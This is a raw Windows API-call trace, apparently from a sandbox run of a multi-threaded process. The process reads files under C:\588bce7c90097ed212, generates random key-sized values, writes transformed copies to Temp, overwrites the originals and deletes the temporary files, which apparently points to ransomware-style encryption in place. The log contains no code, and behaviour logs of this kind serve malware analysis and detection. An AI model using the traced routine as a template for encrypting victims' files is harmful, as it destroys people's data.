	[0074.511] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0
	[0074.511] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0
	[0074.511] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0x20
	[0074.511] CloseHandle (hObject=0x194) returned 1
	[0074.512] CloseHandle (hObject=0x190) returned 1
	[0074.512] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 1
	[0074.517] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0075.815] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0075.912] SetEvent (hEvent=0xe4) returned 1
	[0075.912] SetEvent (hEvent=0x17c) returned 1
	[0075.912] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0076.013] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0076.069] SetEvent (hEvent=0xe4) returned 1
	[0076.069] SetEvent (hEvent=0x17c) returned 1
	[0076.069] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0076.423] SetEvent (hEvent=0xe4) returned 1
	[0076.424] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0076.620] SetEvent (hEvent=0xe4) returned 1
	[0076.620] SetEvent (hEvent=0xd4) returned 1
	[0076.620] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0) returned 0
	[0076.621] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0) returned 0
	[0076.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0076.621] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000181bf4 | out: lpMode=0xc000181bf4) returned 0
	[0076.621] GetFileType (hFile=0x164) returned 0x1
	[0076.621] GetFileType (hFile=0x164) returned 0x1
	[0076.621] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000181c44 | out: lpFileInformation=0xc000181c44) returned 1
	[0076.621] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000181c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000181c28) returned 1
	[0076.621] ReadFile (in: hFile=0x164, lpBuffer=0xc00026c000, nNumberOfBytesToRead=0x102c, lpNumberOfBytesRead=0xc000181b04, lpOverlapped=0x0 | out: lpBuffer=0xc00026c000*, lpNumberOfBytesRead=0xc000181b04*=0xe2c, lpOverlapped=0x0) returned 1
	[0076.667] ReadFile (in: hFile=0x164, lpBuffer=0xc00026ce2c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000181b04, lpOverlapped=0x0 | out: lpBuffer=0xc00026ce2c*, lpNumberOfBytesRead=0xc000181b04*=0x0, lpOverlapped=0x0) returned 1
	[0076.667] CloseHandle (hObject=0x164) returned 1
	[0076.667] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000092100 | out: pbBuffer=0xc000092100) returned 1
	[0076.668] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094150 | out: pbBuffer=0xc000094150) returned 1
	[0076.668] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082201 | out: pbBuffer=0xc000082201) returned 1
	[0076.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0076.669] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0076.669] GetFileType (hFile=0x164) returned 0x1
	[0076.669] WriteFile (in: hFile=0x164, lpBuffer=0xc00012b000*, nNumberOfBytesToWrite=0xf2c, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc00012b000*, lpNumberOfBytesWritten=0xc00022dbec*=0xf2c, lpOverlapped=0x0) returned 1
	[0076.670] CloseHandle (hObject=0x164) returned 1
	[0076.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0076.680] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0076.680] GetFileType (hFile=0x164) returned 0x1
	[0076.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x128
	[0076.681] GetConsoleMode (in: hConsoleHandle=0x128, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0076.681] GetFileType (hFile=0x128) returned 0x1
	[0076.681] VirtualAlloc (lpAddress=0xc00035e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035e000
	[0076.682] ReadFile (in: hFile=0x128, lpBuffer=0xc00035e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035e000*, lpNumberOfBytesRead=0xc00022dbd4*=0xf2c, lpOverlapped=0x0) returned 1
	[0076.682] WriteFile (in: hFile=0x164, lpBuffer=0xc00035e000*, nNumberOfBytesToWrite=0xf2c, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc00035e000*, lpNumberOfBytesWritten=0xc00022db74*=0xf2c, lpOverlapped=0x0) returned 1
	[0076.684] ReadFile (in: hFile=0x128, lpBuffer=0xc00035e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035e000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0076.684] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0
	[0076.684] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0
	[0076.684] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0x20
	[0076.684] CloseHandle (hObject=0x128) returned 1
	[0076.685] CloseHandle (hObject=0x164) returned 1
	[0076.685] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 1
	[0076.686] SetEvent (hEvent=0xd4) returned 1
	[0076.687] VirtualFree (lpAddress=0xc000482000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.687] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0076.986] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.090] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.212] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.286] SetEvent (hEvent=0xd4) returned 1
	[0077.286] VirtualFree (lpAddress=0xc00046e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.286] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.364] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.553] SetEvent (hEvent=0xd4) returned 1
	[0077.554] VirtualFree (lpAddress=0xc000468000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.554] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.634] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.813] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0077.982] SetEvent (hEvent=0xd4) returned 1
	[0077.982] VirtualFree (lpAddress=0xc000456000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.982] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.055] SetEvent (hEvent=0xd4) returned 1
	[0078.055] SetEvent (hEvent=0xf0) returned 1
	[0078.055] VirtualFree (lpAddress=0xc000452000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.056] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.132] SetEvent (hEvent=0xd4) returned 1
	[0078.132] VirtualFree (lpAddress=0xc00044a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.133] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.179] SetEvent (hEvent=0xd4) returned 1
	[0078.179] VirtualFree (lpAddress=0xc000442000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.179] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.253] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.345] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.463] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.593] SetEvent (hEvent=0xf0) returned 1
	[0078.593] VirtualFree (lpAddress=0xc000430000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.594] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0078.685] SetEvent (hEvent=0xf0) returned 1
	[0078.686] SetEvent (hEvent=0xd4) returned 1
	[0078.686] VirtualFree (lpAddress=0xc00042c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.686] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0081.057] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0082.197] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0082.538] SetEvent (hEvent=0xf0) returned 1
	[0082.538] VirtualFree (lpAddress=0xc00041a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.538] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0082.781] SetEvent (hEvent=0xfc) returned 1
	[0082.781] SetEvent (hEvent=0xd4) returned 1
	[0082.781] VirtualFree (lpAddress=0xc000412000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.781] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0084.859] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0084.873] SetEvent (hEvent=0xf0) returned 1
	[0084.873] SetEvent (hEvent=0xd4) returned 1
	[0084.873] VirtualFree (lpAddress=0xc0003da000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.874] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0084.998] SetEvent (hEvent=0xd4) returned 1
	[0084.998] SetEvent (hEvent=0xf0) returned 1
	[0084.998] VirtualFree (lpAddress=0xc0003d4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.998] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.000] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.005] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.060] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.274] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.329] SetEvent (hEvent=0xf0) returned 1
	[0085.329] VirtualFree (lpAddress=0xc0003c6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.330] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.425] SetEvent (hEvent=0xd4) returned 1
	[0085.425] SetEvent (hEvent=0xf0) returned 1
	[0085.425] VirtualFree (lpAddress=0xc0003c0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.425] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.557] SetEvent (hEvent=0xd4) returned 1
	[0085.558] SetEvent (hEvent=0xf0) returned 1
	[0085.558] VirtualFree (lpAddress=0xc0003bc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.558] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.641] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.723] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.779] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.823] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.863] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0085.967] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.010] SetEvent (hEvent=0xfc) returned 1
	[0086.010] VirtualFree (lpAddress=0xc0003a8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.011] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.115] SetEvent (hEvent=0xf0) returned 1
	[0086.115] SetEvent (hEvent=0xd4) returned 1
	[0086.115] VirtualFree (lpAddress=0xc0003a0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.115] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.117] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.122] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.129] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.215] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.304] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0086.312] SetEvent (hEvent=0xfc) returned 1
	[0086.312] VirtualFree (lpAddress=0xc00038a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.312] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) 

Thread:
	id = 36
	os_tid = 0xc90

	[0070.344] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x9309ff770, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9309ff770*=0x13c) returned 1
	[0070.344] VirtualQuery (in: lpAddress=0x9309ff790, lpBuffer=0x9309ff790, dwLength=0x30 | out: lpBuffer=0x9309ff790*(BaseAddress=0x9309ff000, AllocationBase=0x930800000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.344] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x17c
	[0070.344] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x180
	[0070.344] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.769] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.805] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.861] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0070.861] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0070.861] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.861] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0070.861] GetFileType (hFile=0x178) returned 0x1
	[0070.861] GetFileType (hFile=0x178) returned 0x1
	[0070.862] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0070.862] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0070.862] VirtualAlloc (lpAddress=0xc00023e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023e000
	[0070.862] ReadFile (in: hFile=0x178, lpBuffer=0xc00023e000, nNumberOfBytesToRead=0xf5b, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc00023e000*, lpNumberOfBytesRead=0xc00022db04*=0xd5b, lpOverlapped=0x0) returned 1
	[0070.894] ReadFile (in: hFile=0x178, lpBuffer=0xc00023ed5b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc00023ed5b*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0070.895] CloseHandle (hObject=0x178) returned 1
	[0070.895] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000206360 | out: pbBuffer=0xc000206360) returned 1
	[0070.895] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0002221d0 | out: pbBuffer=0xc0002221d0) returned 1
	[0070.895] VirtualAlloc (lpAddress=0xc000240000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000240000
	[0070.895] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212101 | out: pbBuffer=0xc000212101) returned 1
	[0070.896] VirtualAlloc (lpAddress=0xc000242000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000242000
	[0070.896] VirtualAlloc (lpAddress=0xc000244000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000244000
	[0070.896] VirtualAlloc (lpAddress=0xc000246000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000246000
	[0070.897] VirtualAlloc (lpAddress=0xc000248000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000248000
	[0070.897] VirtualAlloc (lpAddress=0x0, dwSize=0x15f8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4c10000
	[0070.898] VirtualAlloc (lpAddress=0xc00024a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024a000
	[0070.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0070.899] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0070.899] GetFileType (hFile=0x178) returned 0x1
	[0070.899] WriteFile (in: hFile=0x178, lpBuffer=0xc00023f000*, nNumberOfBytesToWrite=0xe5b, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc00023f000*, lpNumberOfBytesWritten=0xc00022dbec*=0xe5b, lpOverlapped=0x0) returned 1
	[0070.901] CloseHandle (hObject=0x178) returned 1
	[0070.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0070.906] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0070.906] GetFileType (hFile=0x178) returned 0x1
	[0070.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.907] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0070.907] GetFileType (hFile=0x164) returned 0x1
	[0070.907] VirtualAlloc (lpAddress=0xc00024c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024c000
	[0070.908] ReadFile (in: hFile=0x164, lpBuffer=0xc00024c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00024c000*, lpNumberOfBytesRead=0xc00022dbd4*=0xe5b, lpOverlapped=0x0) returned 1
	[0070.908] WriteFile (in: hFile=0x178, lpBuffer=0xc00024c000*, nNumberOfBytesToWrite=0xe5b, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc00024c000*, lpNumberOfBytesWritten=0xc00022db74*=0xe5b, lpOverlapped=0x0) returned 1
	[0070.909] ReadFile (in: hFile=0x164, lpBuffer=0xc00024c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00024c000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.909] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0
	[0070.910] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0
	[0070.910] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0x20
	[0070.910] CloseHandle (hObject=0x164) returned 1
	[0070.910] CloseHandle (hObject=0x178) returned 1
	[0070.911] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 1
	[0070.913] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.917] SetEvent (hEvent=0x188) returned 1
	[0070.917] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0070.917] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0070.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.917] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0070.917] GetFileType (hFile=0x178) returned 0x1
	[0070.917] GetFileType (hFile=0x178) returned 0x1
	[0070.917] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0070.917] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0070.917] VirtualAlloc (lpAddress=0xc000254000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000254000
	[0070.919] ReadFile (in: hFile=0x178, lpBuffer=0xc000254000, nNumberOfBytesToRead=0x24ac, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc000254000*, lpNumberOfBytesRead=0xc000287b04*=0x22ac, lpOverlapped=0x0) returned 1
	[0070.924] ReadFile (in: hFile=0x178, lpBuffer=0xc0002562ac, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002562ac*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0070.924] CloseHandle (hObject=0x178) returned 1
	[0070.925] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0002064a0 | out: pbBuffer=0xc0002064a0) returned 1
	[0070.925] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0002222b0 | out: pbBuffer=0xc0002222b0) returned 1
	[0070.925] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212301 | out: pbBuffer=0xc000212301) returned 1
